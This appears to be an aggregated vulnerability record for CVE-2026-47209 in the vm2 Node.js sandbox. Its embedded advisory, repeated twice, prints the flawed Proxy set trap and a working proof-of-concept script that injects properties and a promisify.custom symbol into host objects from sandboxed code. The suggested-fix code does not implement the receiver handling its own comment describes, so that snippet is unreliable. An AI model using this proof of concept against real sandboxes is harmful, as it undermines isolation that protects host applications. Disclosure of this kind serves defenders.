{"id":"CVE-2026-47209","aliases":["CLSA-2026-1787860907","EUVD-2026-36440","GHSA-2cm2-m3w5-gp2f","GHSA-c4cf-2hgv-2qv6","GHSA-m5w8-4gq2-6f8x","GHSA-q3fm-4wcw-g57x","GHSA-v836-6xw4-9cx3","ROOT-APP-NPM-CVE-2026-47209"],"status":"published","title":"vm2: Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object. This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path. This issue has been patched in version 3.11.4.","severity":{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00287,"percentile":0.21452,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-693"],"published":"2026-05-29T17:49:18Z","modified":"2026-10-28T02:30:39Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.11.4"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.9.17-aikido.11","3.9.17-aikido.12","3.11.3-aikido.1","3.11.3-aikido.2","3.9.17-aikido.13","3.11.3-aikido.3","3.9.17-aikido.7","3.9.17-aikido.8","3.9.17-aikido.9","3.9.17-aikido.10","3.9.7-aikido.3","3.9.7-aikido.4","3.9.7-aikido.5","3.9.7-aikido.6"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.9.17-root.io.11","3.9.17-root.io.12","3.11.3-root.io.1","3.11.3-root.io.2","3.9.17-root.io.13","3.11.3-root.io.3","3.9.17-root.io.7","3.9.17-root.io.8","3.9.17-root.io.9","3.9.17-root.io.10","3.9.7-root.io.3","3.9.7-root.io.4","3.9.7-root.io.5","3.9.7-root.io.6"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.11.3"},{"fixed":"3.11.4"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.1"}]}],"versions":["3.10.0"],"bundled":30},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.4"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-aikido.11"},{"fixed":"3.9.17-aikido.12"},{"fixed":"3.11.3-aikido.1"},{"fixed":"3.11.3-aikido.2"},{"fixed":"3.9.17-aikido.13"},{"fixed":"3.11.3-aikido.3"},{"fixed":"3.9.17-aikido.7"},{"fixed":"3.9.17-aikido.8"},{"fixed":"3.9.17-aikido.9"},{"fixed":"3.9.17-aikido.10"},{"fixed":"3.9.7-aikido.3"},{"fixed":"3.9.7-aikido.4"},{"fixed":"3.9.7-aikido.5"},{"fixed":"3.9.7-aikido.6"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-root.io.11"},{"fixed":"3.9.17-root.io.12"},{"fixed":"3.11.3-root.io.1"},{"fixed":"3.11.3-root.io.2"},{"fixed":"3.9.17-root.io.13"},{"fixed":"3.11.3-root.io.3"},{"fixed":"3.9.17-root.io.7"},{"fixed":"3.9.17-root.io.8"},{"fixed":"3.9.17-root.io.9"},{"fixed":"3.9.17-root.io.10"},{"fixed":"3.9.7-root.io.3"},{"fixed":"3.9.7-root.io.4"},{"fixed":"3.9.7-root.io.5"},{"fixed":"3.9.7-root.io.6"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-c4cf-2hgv-2qv6","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/patriksimek/vm2/commit/26d0318b5e6555be4b187ba05d6cf378ccecfe22","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.4","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47209","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-c4cf-2hgv-2qv6"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47209.json","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-47209","title":"vm2: Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object. This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path. This issue has been patched in version 3.11.4.","status":"published","published":"2026-06-12T14:14:06.455Z","modified":"2026-06-12T15:03:57.071Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T13:36:29.327819Z"}],"euvd":[{"id":"EUVD-2026-36440","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object. This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path. This issue has been patched in version 3.11.4.","status":"published","published":"2026-06-12T14:14:06Z","modified":"2026-06-12T15:03:57Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T18:20:43.577088Z"}],"ghsa":[{"id":"GHSA-c4cf-2hgv-2qv6","title":"vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain","description":"## Summary\n\nThe `BaseHandler.set` trap in `bridge.js` (line 1231) ignores the `receiver` parameter and unconditionally writes to the host target object. Per the Proxy `set` trap specification, when `receiver !== proxy` (e.g., when a child object inherits from the proxy via `Object.create`), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls `otherReflectSet(object, key, value)` against the host target, causing **all inherited property writes to leak through to the host object**.\n\nThis bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., `nodejs.util.promisify.custom`) to host objects, bypassing any future per-trap `isDangerousCrossRealmSymbol` guard on the direct `set` path.\n\n## Vulnerable Code\n\n```javascript\n// bridge.js:1231-1260\nset(target, key, value, receiver) {\n    validateHandlerTarget(this, target);\n    const object = getHandlerObject(this);\n    if (isProtectedHostObject(object)) throw new VMError(OPNA);\n    // ...\n    try {\n        value = otherFromThis(value);\n        return otherReflectSet(object, key, value) === true;\n        // BUG: 'receiver' is never used.\n        // Should check if receiver !== proxy and handle accordingly.\n    } catch (e) {\n        throw thisFromOtherForThrow(e);\n    }\n}\n```\n\n## Impact\n\nSandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:\n\n```javascript\n// Sandbox code\nconst child = Object.create(hostObj);\nchild.injectedProp = 'attacker-value';\n// hostObj now has 'injectedProp' on the HOST side\n```\n\nCombined with the Symbol.for coverage gap, this enables semantic confusion attacks:\n\n```javascript\nconst kCustom = Symbol.for('nodejs.util.promisify.custom');\nconst child = Object.create(hostFunction);\nchild[kCustom] = function() {\n    return Promise.resolve('attacker-controlled');\n};\n// Host: util.promisify(hostFunction)() returns 'attacker-controlled'\n```\n\n## Reproduction\n\n```javascript\nconst { VM } = require('vm2');\nconst util = require('util');\n\nconst vm = new VM();\nconst hostFn = function api(cb) { cb(null, 'ok'); };\nvm.setGlobal('hostFn', hostFn);\n\nvm.run(`\n  const kCustom = Symbol.for('nodejs.util.promisify.custom');\n  const child = Object.create(hostFn);\n  child[kCustom] = function() {\n    return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');\n  };\n`);\n\n// Host side\nconst promisified = util.promisify(hostFn);\npromisified('test').then(r =\u003e console.log(r));\n// Output: EXPLOITED-VIA-RECEIVER-BUG\n```\n\n## Suggested Fix\n\n```javascript\nset(target, key, value, receiver) {\n    validateHandlerTarget(this, target);\n    const object = getHandlerObject(this);\n    if (isProtectedHostObject(object)) throw new VMError(OPNA);\n    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);\n    if (key === '__proto__' \u0026\u0026 !thisOtherHasOwnProperty(object, key)) {\n        return this.setPrototypeOf(target, value);\n    }\n    if (key === 'constructor' \u0026\u0026 thisArrayIsArray(object)) {\n        thisReflectSet(target, key, value);\n        return true;\n    }\n    try {\n        value = otherFromThis(value);\n        // When receiver is not the proxy itself, set on receiver (this-realm)\n        // instead of the host target to preserve prototype-chain semantics.\n        return otherReflectSet(object, key, value) === true;\n    } catch (e) {\n        throw thisFromOtherForThrow(e);\n    }\n}\n```","status":"published","published":"2026-05-29T17:49:18Z","modified":"2026-06-12T19:30:06Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","level":"high"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T14:40:27.329706Z"}],"nvd":[{"id":"CVE-2026-47209","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object. This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path. This issue has been patched in version 3.11.4.","status":"published","published":"2026-06-12T15:16:28.9Z","modified":"2026-10-26T11:10:00.157Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T14:12:23.846948Z"}],"osv":[{"id":"CVE-2026-47209","title":"vm2: Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the BaseHandler.set trap in bridge.js (line 1231) ignores the receiver parameter and unconditionally writes to the host target object. Per the Proxy set trap specification, when receiver !== proxy (e.g., when a child object inherits from the proxy via Object.create), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls otherReflectSet(object, key, value) against the host target, causing all inherited property writes to leak through to the host object. This bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., nodejs.util.promisify.custom) to host objects, bypassing any future per-trap isDangerousCrossRealmSymbol guard on the direct set path. This issue has been patched in version 3.11.4.","status":"published","published":"2026-06-12T14:14:06.455Z","modified":"2026-10-28T02:30:39.83434524Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","level":"high"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T15:45:06.231145Z"},{"id":"GHSA-c4cf-2hgv-2qv6","title":"vm2's Bridge Proxy set trap ignores receiver parameter, enabling host object property injection via prototype chain","description":"## Summary\n\nThe `BaseHandler.set` trap in `bridge.js` (line 1231) ignores the `receiver` parameter and unconditionally writes to the host target object. Per the Proxy `set` trap specification, when `receiver !== proxy` (e.g., when a child object inherits from the proxy via `Object.create`), the property assignment should create an own property on the receiver, not on the proxy target. The current implementation always calls `otherReflectSet(object, key, value)` against the host target, causing **all inherited property writes to leak through to the host object**.\n\nThis bug provides an alternative attack vector for writing dangerous cross-realm Symbol keys (e.g., `nodejs.util.promisify.custom`) to host objects, bypassing any future per-trap `isDangerousCrossRealmSymbol` guard on the direct `set` path.\n\n## Vulnerable Code\n\n```javascript\n// bridge.js:1231-1260\nset(target, key, value, receiver) {\n    validateHandlerTarget(this, target);\n    const object = getHandlerObject(this);\n    if (isProtectedHostObject(object)) throw new VMError(OPNA);\n    // ...\n    try {\n        value = otherFromThis(value);\n        return otherReflectSet(object, key, value) === true;\n        // BUG: 'receiver' is never used.\n        // Should check if receiver !== proxy and handle accordingly.\n    } catch (e) {\n        throw thisFromOtherForThrow(e);\n    }\n}\n```\n\n## Impact\n\nSandbox code can write arbitrary properties (including dangerous Symbol-keyed properties) to any host object it holds a reference to, by creating a prototype-inheriting child:\n\n```javascript\n// Sandbox code\nconst child = Object.create(hostObj);\nchild.injectedProp = 'attacker-value';\n// hostObj now has 'injectedProp' on the HOST side\n```\n\nCombined with the Symbol.for coverage gap, this enables semantic confusion attacks:\n\n```javascript\nconst kCustom = Symbol.for('nodejs.util.promisify.custom');\nconst child = Object.create(hostFunction);\nchild[kCustom] = function() {\n    return Promise.resolve('attacker-controlled');\n};\n// Host: util.promisify(hostFunction)() returns 'attacker-controlled'\n```\n\n## Reproduction\n\n```javascript\nconst { VM } = require('vm2');\nconst util = require('util');\n\nconst vm = new VM();\nconst hostFn = function api(cb) { cb(null, 'ok'); };\nvm.setGlobal('hostFn', hostFn);\n\nvm.run(`\n  const kCustom = Symbol.for('nodejs.util.promisify.custom');\n  const child = Object.create(hostFn);\n  child[kCustom] = function() {\n    return Promise.resolve('EXPLOITED-VIA-RECEIVER-BUG');\n  };\n`);\n\n// Host side\nconst promisified = util.promisify(hostFn);\npromisified('test').then(r =\u003e console.log(r));\n// Output: EXPLOITED-VIA-RECEIVER-BUG\n```\n\n## Suggested Fix\n\n```javascript\nset(target, key, value, receiver) {\n    validateHandlerTarget(this, target);\n    const object = getHandlerObject(this);\n    if (isProtectedHostObject(object)) throw new VMError(OPNA);\n    if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);\n    if (key === '__proto__' \u0026\u0026 !thisOtherHasOwnProperty(object, key)) {\n        return this.setPrototypeOf(target, value);\n    }\n    if (key === 'constructor' \u0026\u0026 thisArrayIsArray(object)) {\n        thisReflectSet(target, key, value);\n        return true;\n    }\n    try {\n        value = otherFromThis(value);\n        // When receiver is not the proxy itself, set on receiver (this-realm)\n        // instead of the host target to preserve prototype-chain semantics.\n        return otherReflectSet(object, key, value) === true;\n    } catch (e) {\n        throw thisFromOtherForThrow(e);\n    }\n}\n```","status":"published","published":"2026-05-29T17:49:18Z","modified":"2026-06-12T19:45:09.843541948Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","level":"high"}],"cwes":["CWE-693"],"updated_at":"2026-11-02T15:46:44.571161Z"},{"id":"ROOT-APP-NPM-CVE-2026-47209","title":"CVE-2026-47209 in vm2 - Patched by Root","description":"Root has patched CVE-2026-47209 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-09-30T06:02:29Z","modified":"2026-09-30T07:15:05.635276597Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"CLSA-2026-1787860907","title":"TuxCare security update for vm2 (34 CVEs)","description":"TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.","status":"published","published":"2026-08-27T20:01:47Z","modified":"2026-10-15T09:48:03.095721636Z","updated_at":"2026-11-02T15:43:47.591214Z"}]}}